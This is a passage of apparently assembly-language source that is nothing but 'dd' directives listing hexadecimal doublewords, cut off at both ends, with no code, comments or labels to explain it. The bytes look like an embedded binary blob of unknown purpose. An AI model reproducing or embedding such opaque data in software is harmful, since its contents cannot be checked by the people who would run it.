2958241Eh, 399E82C0h, 76481730h, 2E2D0064h dd 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch dd 0BADAF8Bh, 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h dd 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h dd 5EEB8C68h, 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh dd 598AC47h, 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h dd 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h dd 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h dd 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah dd 500A5ECh, 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh dd 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh dd 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h dd 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h dd 0F3D76D7Bh, 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h dd 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh dd 72710066h, 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh dd 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h dd 784AEA7h, 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h dd 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah dd 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h dd 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h dd 3F032ECh, 0D51AC435h dd 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h dd 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h dd 0FE32AD61h, 42140063h, 50628864h, 8E676973h, 3F838A10h dd 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h, 589F4403h dd 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh, 0CCAA2700h dd 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch dd 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h dd 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh, 75330518h dd 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch, 753AAC68h dd 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh dd 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h, 5CE6B033h dd 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h dd 534B8F40h, 76008778h, 0D1D77F2h, 8F010h, 8C022249h dd 53140446h, 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh dd 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h dd 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh, 8771EC0Eh dd 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h dd 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h dd 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h dd 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h dd 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h, 0FB22958Bh dd 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h, 500037F7h dd 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h, 95032991h dd 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h dd 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h dd 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h dd 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh dd 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh dd 3E98B2BAh, 99285295h, 513EACB8h, 8370147h, 218E428Fh dd 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh, 0BA120523h dd 8BE7002Eh, 533509D0h, 570040DCh, 39717064h, 4A6C6Ah dd 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh dd 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh dd 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h dd 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h, 0FC2D8580h dd 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h dd 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h dd 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h dd 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h dd 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah, 9BBDEC85h dd 9709DFABh, 5C201656h, 30F90079h, 948DE406h, 3E179500h dd 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h dd 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh dd 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h, 69006C13h dd 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h, 0B700A0EAh dd 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh dd 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h dd 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah dd 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h dd 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h dd 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h dd 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h dd 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh dd 34283D06h, 74399110h, 677200C0h, 62431D70h, 64C30077h dd 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh, 5D405C10h dd 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h dd 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h dd 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h dd 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h dd 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h, 63F816h dd 64535110h, 77712407h, 700073E6h, 62752676h, 777C691Ch dd 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh, 197BC728h dd 0A02A1405h, 955689h, 24848913h, 836AA372h, 0EBF4220Fh dd 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh, 0CC0256BAh dd 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h dd 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h dd 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h dd 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h dd 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh dd 401F496Eh, 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch dd 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h dd 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh dd 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h dd 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h, 68056ED0h dd 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h dd 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h, 11F4ADD7h dd 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh dd 395BAB2Ch, 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h dd 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h dd 6CA0F82Ah, 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h dd 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h dd 58A7035Ah, 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh dd 34058EB4h, 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h dd 980A7448h, 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h dd 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h dd 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h, 34301C84h dd 162238h, 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h dd 432E00C0h, 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h dd 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h dd 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh dd 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h dd 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h dd 18D38400h, 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h dd 37F2F4AFh, 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h dd 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h dd 473B3140h, 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh dd 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h dd 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h dd 9DF00805h, 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h dd 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h dd 0F89838FBh, 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh dd 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h dd 4F8E7630h, 0E0380979h dd 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh dd 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h, 34443088h dd 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh dd 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h, 770DA900h dd 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh dd 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh dd 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h dd 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h dd 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h, 0E0987ED6h dd 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h dd 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h dd 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h dd 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh dd 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h dd 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h dd 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h dd 62046942h, 16FA009Bh, 3640C611h, 0B1002266h, 63144D67h dd 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h dd 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h dd 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h dd 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh, 0F081A947h dd 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h, 41020048h dd 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h dd 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h, 0D6CCA7F6h dd 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h dd 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h dd 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h, 69ABD42Fh dd 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h, 0BF99E455h dd 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h, 90C2C788h dd 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h, 0C9744792h dd 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h, 0F762018Ch dd 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh, 9E369CA0h dd 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh, 70038557h dd 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h, 8B005B07h dd 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h dd 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h dd 0F210B329h, 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh dd 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h dd 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h, 0E3000B44h dd 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h, 8000BA0Bh dd 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh dd 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh dd 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h, 24003E96h dd 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h dd 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h dd 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch, 9D0065A1h dd 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh dd 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh dd 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h dd 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh, 0D011AFA3h dd 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h dd 743AE247h, 78A40009h, 405BC083h, 597AF3h, 558AC203h dd 74B81820h, 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch dd 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah dd 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh dd 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh dd 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh dd 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch dd 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh, 97150089h dd 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h, 0FD2F1AF9h dd 627D7E9Bh, 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h dd 5425BA01h, 0F3137565h, 0A5E947EDh, 1117060h, 0A2920D42h dd 0E8AB54B9h, 15FCF141h, 1CC020FCh, 887A1D94h, 84F40F4Fh dd 2FCF2BF5h, 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh dd 0D321A2DEh, 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah dd 671C1100h, 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh dd 890020FDh, 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h dd 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h dd 5B791DA9h, 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h dd 89660013h, 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h dd 3E90F8CFh, 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh dd 4203800Eh, 33F7024h, 254FF066h, 138896D5h, 1C004522h dd 270520A8h, 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h dd 0DA6B78E6h, 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh dd 9055FE78h, 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h dd 7B78F6EAh, 77FB0220h, 0F8E90033h, 7D9A5FCh, 6EC01609h dd 71E8F1E0h, 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h dd 0C3312Bh, 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h dd 22F19DCAh dd 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h, 8880103Dh dd 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h, 0E8FEF50h dd 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h dd 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh dd 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh, 30E18h dd 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh, 269000ACh dd 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h dd 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh dd 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh dd 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h dd 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h dd 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh dd 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h, 7BEA03FAh dd 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h dd 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h, 387450DAh dd 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h dd 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh dd 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h dd 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h dd 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh, 45A4AF00h dd 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h, 872449A6h dd 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h, 1D1CCC66h dd 143EF8h, 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h dd 1C80FA2Ch, 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch dd 0D8C7D8h, 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h dd 17E7524h, 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h dd 0A694C125h, 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh, 94526796h dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h dd 45C63842h, 0C4F964h, 83028485h, 60D78A89h, 0FE508200h dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h dd 2660660Bh, 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh dd 0B681D291h, 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h dd 2CE4542h, 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h dd 104512B5h dd 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h dd 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch, 81D40938h dd 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h dd 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h dd 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch dd 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h, 4B14032h dd 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h dd 